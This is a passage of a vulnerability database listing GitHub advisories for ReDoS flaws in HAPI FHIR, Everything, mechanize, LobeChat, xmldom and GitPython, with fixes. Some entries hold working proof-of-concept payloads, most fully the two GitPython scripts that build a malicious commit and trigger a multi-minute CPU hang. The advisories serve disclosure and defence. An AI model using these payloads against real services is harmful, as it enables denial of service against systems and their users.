2462):**\n```java\nimport org.hl7.fhir.utilities.regex.RegexTimeout;\nimport java.util.concurrent.*;\n\nString regex = \"((a|b){0,5}){20}\";\nString input = \"a\".repeat(25) + \"c\";    // no match \u2192 full backtracking\n\n// \u2460 Patched approach \u2014 RegexTimeout terminates at 500 ms\nlong t1 = System.currentTimeMillis();\ntry {\n    RegexTimeout.matches(input, regex, 500);\n} catch (TimeoutException e) {\n    System.out.println(\"RegexTimeout blocked in \" +\n        (System.currentTimeMillis() - t1) + \" ms\");\n}\n\n// \u2461 DSTU2 line 2462 \u2014 raw String.matches(), no timeout\nlong t2 = System.currentTimeMillis();\ninput.matches(regex);                   // equivalent to what FHIRPathEngine does\nSystem.out.println(\"str.matches() ran for \" +\n    (System.currentTimeMillis() - t2) + \" ms with no timeout\");\n```\n\n**Verified output (JDK 25.0.3, Linux):**\n```\nRegexTimeout blocked in 508 ms      \u2190 patched modules: attack stopped\nstr.matches() ran for 1410 ms       \u2190 DSTU2: no timeout, CPU exhausted\n```\n\nThe patched approach cuts off the evaluation at 508 ms. The unpatched DSTU2\ncode runs for 1410 ms on this input with no mechanism to stop it. Longer\ninputs or more complex patterns produce proportionally worse results.\n\n\n## Impact\n**Vulnerability type:** Regular Expression Denial of Service (ReDoS) causing CPU exhaustion and service disruption.\n\n**Who is impacted:** Any application using the `ca.uhn.hapi.fhir:org.hl7.fhir.dstu2` module that evaluates user-supplied FHIRPath expressions \u2014 including the FHIR Validator HTTP endpoint, FHIR servers applying FHIRPath invariants from user-provided resources or profiles, and any system embedding `FHIRPathEngine` from the DSTU2 module. No authentication is required; an attacker needs only to submit a FHIR resource or FHIRPath expression whose `matches()` argument contains a catastrophically backtracking regular expression.",
  "id": "GHSA-fxj4-p9xp-37v5",
  "modified": "2026-06-17T18:47:23Z",
  "published": "2026-06-17T18:47:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-fxj4-p9xp-37v5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HAPI FHIR: Incomplete fix for CVE-2026-45367: DSTU2 FHIRPathEngine.matches() missing RegexTimeout protection allows ReDoS"
}

GHSA-FXX2-62XV-VCPH

Vulnerability from github – Published: 2023-04-12 15:30 – Updated: 2024-04-04 03:25
VLAI
Details

Void Tools Everything lower than v1.4.1.1022 was discovered to contain a Regular Expression Denial of Service (ReDoS).

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-27704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-12T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Void Tools Everything lower than v1.4.1.1022 was discovered to contain a Regular Expression Denial of Service (ReDoS).",
  "id": "GHSA-fxx2-62xv-vcph",
  "modified": "2024-04-04T03:25:11Z",
  "published": "2023-04-12T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27704"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/drive/folders/1BmHAGSugrFo0whDEmg6nnbaOkvE21X-p?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://github.com/happy0717/CVE-2023-27704"
    },
    {
      "type": "WEB",
      "url": "https://www.voidtools.com/en-us/downloads"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3PV-PJ5F-3HFQ

Vulnerability from github – Published: 2023-01-18 00:30 – Updated: 2025-12-22 16:31
VLAI
Summary
mechanize Regular Expression Denial of Service vulnerability
Details

mechanize, a library for automatically interacting with HTTP web servers, contains a regular expression that is vulnerable to regular expression denial of service (ReDoS) prior to version 0.4.6. If a web server responds in a malicious way, then mechanize could crash. Version 0.4.6 has a patch for the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mechanize"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-20T23:35:49Z",
    "nvd_published_at": "2023-01-17T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "mechanize, a library for automatically interacting with HTTP web servers, contains a regular expression that is vulnerable to regular expression denial of service (ReDoS) prior to version 0.4.6. If a web server responds in a malicious way, then mechanize could crash. Version 0.4.6 has a patch for the issue.",
  "id": "GHSA-g3pv-pj5f-3hfq",
  "modified": "2025-12-22T16:31:05Z",
  "published": "2023-01-18T00:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32837"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-mechanize/mechanize/commit/dd05334448e9f39814bab044d2eaa5ef69b410d6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mechanize/PYSEC-2023-25.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-mechanize/mechanize"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-mechanize/mechanize/blob/3acb1836f3fd8edc5a758a417dd46b53832ae3b5/mechanize/_urllib2_fork.py#L878-L879"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-mechanize/mechanize/releases/tag/v0.4.6"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00022.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/12/msg00028.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2021-108-python-mechanize-mechanize"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "mechanize Regular Expression Denial of Service vulnerability"
}

GHSA-G4JQ-25CX-3CW5

Vulnerability from github – Published: 2026-07-02 21:32 – Updated: 2026-07-02 21:32
VLAI
Details

LobeChat before version 2.2.10-canary.15 contains a regular expression denial of service (ReDoS) vulnerability that allows authenticated attackers to block the Node.js event loop by supplying a catastrophic-backtracking pattern in a GitHub repository URL path during skill import. Attackers can craft a malicious basePath value containing unescaped regex metacharacters such as catastrophic-backtracking patterns, which are injected into a dynamically constructed regular expression in the findSkillMd function and executed synchronously against archive entries, denying service to all concurrent users for tens of seconds per request.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-58578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T20:17:06Z",
    "severity": "HIGH"
  },
  "details": "LobeChat before version 2.2.10-canary.15 contains a regular expression denial of service (ReDoS) vulnerability that allows authenticated attackers to block the Node.js event loop by supplying a catastrophic-backtracking pattern in a GitHub repository URL path during skill import. Attackers can craft a malicious basePath value containing unescaped regex metacharacters such as catastrophic-backtracking patterns, which are injected into a dynamically constructed regular expression in the findSkillMd function and executed synchronously against archive entries, denying service to all concurrent users for tens of seconds per request.",
  "id": "GHSA-g4jq-25cx-3cw5",
  "modified": "2026-07-02T21:32:13Z",
  "published": "2026-07-02T21:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58578"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobehub/issues/16494"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobehub/pull/16548"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobehub/commit/349bbe326eb8635d6d9c6a96d12702681ae3a84a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobehub/releases/tag/v2.2.10-canary.15"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/lobechat-canary-15-regular-expression-denial-of-service-in-github-skill-import"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G53G-W8RJ-FMG7

Vulnerability from github – Published: 2026-09-08 20:31 – Updated: 2026-09-08 20:31
VLAI
Summary
xmldom PI grammar regex ReDoS: quadratic backtracking on unterminated processing instructions
Details

Summary

@xmldom/xmldom's processing-instruction (PI) grammar regex exhibits quadratic-time backtracking (ReDoS) when parsing an unterminated processing instruction. A single small XML document containing <? + a target + a long run of whitespace and no closing ?> forces the regular expression engine into O(n²) work, stalling the Node.js event loop. The input is parsed with DOMParser.parseFromString under default options, so it is reachable from unauthenticated, network-delivered XML (SOAP/SAML, webhooks, uploads, XML APIs).

Details

The PI production in lib/grammar.js compiles (flags mu) to:

^<\?(NameChars)(?:[\x20\x09\x0D\x0A]+([Char]*?))?\?>
                     ^^^ S+ greedy       ^^^ Char*? lazy
  • lib/grammar.js line 261: https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/grammar.js#L261

In the optional tail (?:S+(Char*?))?, both the greedy separator S+ and the lazy data Char*? match XML whitespace. When the required trailing ?> is absent, the engine must ultimately fail — but first it tries every partition of the whitespace run between S+ and Char*?, which is O(n²) in the length of the trailing whitespace.

The regex is executed against the entire remaining source string in two places in lib/sax.js, so the whole whitespace tail is scanned:

  • parsePI — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L680-L691
  • parseProcessingInstruction — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L862-L879

Affected Versions

Only the 0.9.x line is affected. lib/grammar.js (and this PI regex) was introduced in commit 726b471 ("fix!: preserve DOCTYPE internal subset (#498)"), first released in 0.9.0-beta.9, and is unchanged through 0.9.10.

The 0.8.x line (≤ 0.8.13) and the unscoped xmldom package (≤ 0.6.0) parse PIs via a different code path bounded by indexOf('?>') — they do not contain this regex and are not affected by this issue. (They were not separately tested for a different PI ReDoS; the scope here is the specific grammar.js regex.)

Line PI code path Affected?
0.9.x (0.9.0-beta.9 … 0.9.10) grammar.js PI regex over full remaining source Yes
0.8.x (≤ 0.8.13) parseInstruction, bounded by indexOf('?>') No
unscoped xmldom (≤ 0.6.0) older indexOf('?>')-bounded parsing No

Proof of Concept

const { DOMParser } = require('@xmldom/xmldom');
const n = 32 * 1024;
const payload = '<a><?p' + ' '.repeat(n); // unterminated PI, no `?>`
console.time('parse');
new DOMParser().parseFromString(payload, 'text/xml');
console.timeEnd('parse');

Measured (Node 18), trailing whitespace after <?p, no ?> — time quadruples per doubling of input length (canonical O(n²)):

Trailing whitespace g.PI.exec parseFromString
2 KB 4.4 ms 5.1 ms
4 KB 16.9 ms 17.0 ms
8 KB 111.4 ms 66.3 ms
16 KB 263.8 ms 336.5 ms
32 KB 1073.1 ms —

Impact

Availability only: a single parse of a small crafted document blocks the Node.js event loop for the duration of the quadratic scan (≈1 s at 32 KB; multi-second with larger inputs). No memory blow-up, no data exposure, no integrity impact. Because XML is routinely accepted from untrusted sources and parsed with default options, one request can stall a server.

Fix Applied

Fixed in @xmldom/xmldom 0.9.11 (0.9.x-only; the 0.8.x LTS line and the unscoped xmldom package use a different, bounded PI code path and are not affected).

PR #1039 inserts a fixed-width negative lookahead (?!\s) immediately after the greedy S+, so the separator can no longer hand whitespace back to the lazy data group:

- var PI = reg(/^<\?/, '(', Name, ')', regg(S, '(', Char, '*?)'), '?', /\?>/);
+ var PI = reg(/^<\?/, '(', Name, ')', regg(S, '(?!', _SChar, ')(', Char, '*?)'), '?', /\?>/);

The change is correct, minimal, and behavior-preserving: it produces identical [target, data] captures on all valid PIs tested (incl. whitespace-heavy, tab/newline, empty-data, and xml-decl cases) and removes the backtracking blow-up (linear, ~0.4 ms at 128 KB after the fix). The lookahead is fixed-width and cannot itself backtrack — a strict improvement with no new parsing risk.

Severity note

The complexity is quadratic, not exponential, so a multi-second stall requires tens-to-hundreds of KB of input. VA:H reflects that xmldom applies no input-size limit and the path runs on default-options parsing, so a single unbounded parse can fully stall the event loop.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.10"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@xmldom/xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0-beta.9"
            },
            {
              "fixed": "0.9.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-83606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T20:31:50Z",
    "nvd_published_at": "2026-09-01T15:17:38Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`@xmldom/xmldom`\u0027s processing-instruction (PI) grammar regex exhibits quadratic-time backtracking\n(ReDoS) when parsing an **unterminated** processing instruction. A single small XML document\ncontaining `\u003c?` + a target + a long run of whitespace and no closing `?\u003e` forces the regular\nexpression engine into O(n\u00b2) work, stalling the Node.js event loop. The input is parsed with\n`DOMParser.parseFromString` under **default options**, so it is reachable from unauthenticated,\nnetwork-delivered XML (SOAP/SAML, webhooks, uploads, XML APIs).\n\n## Details\n\nThe PI production in `lib/grammar.js` compiles (flags `mu`) to:\n\n```\n^\u003c\\?(NameChars)(?:[\\x20\\x09\\x0D\\x0A]+([Char]*?))?\\?\u003e\n                     ^^^ S+ greedy       ^^^ Char*? lazy\n```\n\n- `lib/grammar.js` line 261: https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/grammar.js#L261\n\nIn the optional tail `(?:S+(Char*?))?`, both the greedy separator `S+` and the lazy data `Char*?`\nmatch XML whitespace. When the required trailing `?\u003e` is absent, the engine must ultimately fail \u2014\nbut first it tries every partition of the whitespace run between `S+` and `Char*?`, which is O(n\u00b2)\nin the length of the trailing whitespace.\n\nThe regex is executed against the **entire remaining source string** in two places in `lib/sax.js`,\nso the whole whitespace tail is scanned:\n\n- `parsePI` \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L680-L691\n- `parseProcessingInstruction` \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L862-L879\n\n## Affected Versions\n\nOnly the `0.9.x` line is affected. `lib/grammar.js` (and this PI regex) was introduced in\ncommit `726b471` (\"fix!: preserve DOCTYPE internal subset (#498)\"), first released in\n**0.9.0-beta.9**, and is unchanged through **0.9.10**.\n\nThe `0.8.x` line (\u2264 0.8.13) and the unscoped `xmldom` package (\u2264 0.6.0) parse PIs via a different\ncode path bounded by `indexOf(\u0027?\u003e\u0027)` \u2014 they do **not** contain this regex and are **not affected**\nby this issue. (They were not separately tested for a *different* PI ReDoS; the scope here is the\nspecific `grammar.js` regex.)\n\n| Line | PI code path | Affected? |\n|---|---|---|\n| `0.9.x` (0.9.0-beta.9 \u2026 0.9.10) | `grammar.js` `PI` regex over full remaining source | **Yes** |\n| `0.8.x` (\u2264 0.8.13) | `parseInstruction`, bounded by `indexOf(\u0027?\u003e\u0027)` | No |\n| unscoped `xmldom` (\u2264 0.6.0) | older `indexOf(\u0027?\u003e\u0027)`-bounded parsing | No |\n\n## Proof of Concept\n\n```js\nconst { DOMParser } = require(\u0027@xmldom/xmldom\u0027);\nconst n = 32 * 1024;\nconst payload = \u0027\u003ca\u003e\u003c?p\u0027 + \u0027 \u0027.repeat(n); // unterminated PI, no `?\u003e`\nconsole.time(\u0027parse\u0027);\nnew DOMParser().parseFromString(payload, \u0027text/xml\u0027);\nconsole.timeEnd(\u0027parse\u0027);\n```\n\nMeasured (Node 18), trailing whitespace after `\u003c?p`, no `?\u003e` \u2014 time quadruples per doubling of\ninput length (canonical O(n\u00b2)):\n\n| Trailing whitespace | `g.PI.exec` | `parseFromString` |\n|---|---|---|\n| 2 KB  | 4.4 ms    | 5.1 ms   |\n| 4 KB  | 16.9 ms   | 17.0 ms  |\n| 8 KB  | 111.4 ms  | 66.3 ms  |\n| 16 KB | 263.8 ms  | 336.5 ms |\n| 32 KB | 1073.1 ms | \u2014        |\n\n## Impact\n\nAvailability only: a single parse of a small crafted document blocks the Node.js event loop for the\nduration of the quadratic scan (\u22481 s at 32 KB; multi-second with larger inputs). No memory blow-up,\nno data exposure, no integrity impact. Because XML is routinely accepted from untrusted sources and\nparsed with default options, one request can stall a server.\n\n## Fix Applied\n\nFixed in `@xmldom/xmldom` **0.9.11** (`0.9.x`-only; the `0.8.x` LTS line and the\nunscoped `xmldom` package use a different, bounded PI code path and are not affected).\n\nPR [#1039](https://github.com/xmldom/xmldom/pull/1039) inserts a fixed-width negative lookahead\n`(?!\\s)` immediately after the greedy `S+`, so the separator can no longer hand whitespace back to\nthe lazy data group:\n\n```\n- var PI = reg(/^\u003c\\?/, \u0027(\u0027, Name, \u0027)\u0027, regg(S, \u0027(\u0027, Char, \u0027*?)\u0027), \u0027?\u0027, /\\?\u003e/);\n+ var PI = reg(/^\u003c\\?/, \u0027(\u0027, Name, \u0027)\u0027, regg(S, \u0027(?!\u0027, _SChar, \u0027)(\u0027, Char, \u0027*?)\u0027), \u0027?\u0027, /\\?\u003e/);\n```\n\nThe change is correct, minimal, and behavior-preserving: it produces identical `[target, data]`\ncaptures on all valid PIs tested (incl. whitespace-heavy, tab/newline, empty-data, and xml-decl\ncases) and removes the backtracking blow-up (linear, ~0.4 ms at 128 KB after the fix). The lookahead\nis fixed-width and cannot itself backtrack \u2014 a strict improvement with no new parsing risk.\n\n## Severity note\n\nThe complexity is **quadratic**, not exponential, so a multi-second stall requires\ntens-to-hundreds of KB of input. `VA:H` reflects that xmldom applies **no input-size limit** and the\npath runs on default-options parsing, so a single unbounded parse can fully stall the event loop.",
  "id": "GHSA-g53g-w8rj-fmg7",
  "modified": "2026-09-08T20:31:50Z",
  "published": "2026-09-08T20:31:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-g53g-w8rj-fmg7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/pull/1039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/commit/73df6b8bdbd86f904b9e8c3ab9c49aa54ef2802e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xmldom/xmldom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "xmldom PI grammar regex ReDoS: quadratic backtracking on unterminated processing instructions"
}

GHSA-G5VV-9GXW-82HX

Vulnerability from github – Published: 2026-09-30 23:29 – Updated: 2026-09-30 23:29
VLAI
Summary
GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing
Details

Summary

GitPython's Actor.name_email_regex regular expression (git/util.py, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the author or committer header of a git commit object that contains a long string with an unterminated < (no matching >), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads .author or .committer for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories.

Details

Vulnerable file and line:

git/util.py, line 863:

name_email_regex = re.compile(r"(.*) <(.*?)>")

This regex is evaluated inside Actor._from_string() (line 909) every time GitPython resolves a commit's .author or .committer property.

Full call chain — from public API to vulnerable sink:

commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE

author_line is decoded directly from the raw bytes of the git commit object with no length limit, character restriction, or timeout applied at any point before reaching the regex engine. The same chain is triggered by: - commit.author - commit.committer - repo.iter_commits() - repo.blame() - Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by a literal space and <. When the input is a long string that contains < but no closing >, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

Author field length (bytes) Time to resolve .author
1,000 0.0035 s
5,000 0.084 s
10,000 0.341 s
20,000 1.525 s
40,000 5.963 s
60,000 13.360 s
80,000 23.871 s
200,000 150.488 s

Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into .git/objects/. git cat-file -t <sha> confirms it is a valid commit type and git's own read-side tools display it without error. Only git's write-side tooling (git commit --author, git update-index, explicit git fsck) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include:

  • A git server with receive.fsckObjects = false (common in self-hosted deployments)
  • A .git directory shipped as a tarball, backup, or zip archive
  • A git bundle file
  • Any automated mirror or import tool that operates at the object level

PoC

Environment used for testing: - GitPython 3.1.59, installed in editable mode from source (no code modifications) - Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1 — craft the malicious repository (craft_malicious_repo.py):

#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.

Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd):
    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
        sys.exit(1)

    target_dir, payload_size = sys.argv[1], int(sys.argv[2])

    os.makedirs(target_dir, exist_ok=True)
    run(["git", "init", "--quiet"], cwd=target_dir)
    run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir)
    run(["git", "config", "user.name", "PoC"], cwd=target_dir)

    with open(os.path.join(target_dir, "README.txt"), "w") as f:
        f.write("GitPython ReDoS PoC repository\n")
    run(["git", "add", "README.txt"], cwd=target_dir)
    tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()

    malicious_name = "A" * payload_size
    # Key: author field contains a '<' with no closing '>'
    author_line    = f"author {malicious_name} <unterminated 1691999972 -0700"
    committer_line = "committer PoC <poc@example.com> 1691999972 -0700"
    message        = "ReDoS PoC commit"

    commit_content = (
        f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
    ).encode()

    header     = f"commit {len(commit_content)}\x00".encode()
    store      = header + commit_content
    sha        = hashlib.sha1(store).hexdigest()
    compressed = zlib.compress(store)

    objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
    os.makedirs(objdir, exist_ok=True)
    with open(os.path.join(objdir, sha[2:]), "wb") as f:
        f.write(compressed)

    run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)

    print(f"Malicious commit sha : {sha}")
    print(f"Payload size         : {payload_size} bytes")
    verify = subprocess.run(
        ["git", "cat-file", "-t", sha],
        cwd=target_dir, capture_output=True, text=True
    )
    print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if __name__ == "__main__":
    main()

Script 2 — trigger the vulnerability (trigger_redos.py):

#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().

Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
        sys.exit(1)

    repo   = git.Repo(sys.argv[1])
    commit = repo.commit(sys.argv[2])

    print("Accessing commit.author — triggers Actor._from_string()...")
    t0     = time.time()
    author = commit.author          # ← this single line causes the hang
    elapsed = time.time() - t0

    print(f"Author name length : {len(author.name)} chars")
    print(f"Elapsed            : {elapsed:.3f} seconds")
    print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if __name__ == "__main__":
    main()

Execution and observed output:

$ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit

$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

# Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython

python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000
# note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own fuzzing/local-dev-helpers/Dockerfile.

Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include:

  • CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it.
  • Code-hosting or code-review web services that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata.
  • Security or compliance scanners that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author access. When iter_commits() or blame are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability.

Suggested Fix

Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude < and > from the name group, removing the ambiguity that forces O(n²) backtracking:

# git/util.py, line 863
# Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")

# After (fixed — identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")

Because the name group can no longer itself contain a < character, the engine has exactly one candidate position to try when a closing > is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never contain < or > in either field, so this change produces identical results for all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.59"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.60"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-87819"
  ],
  "database_specific": {
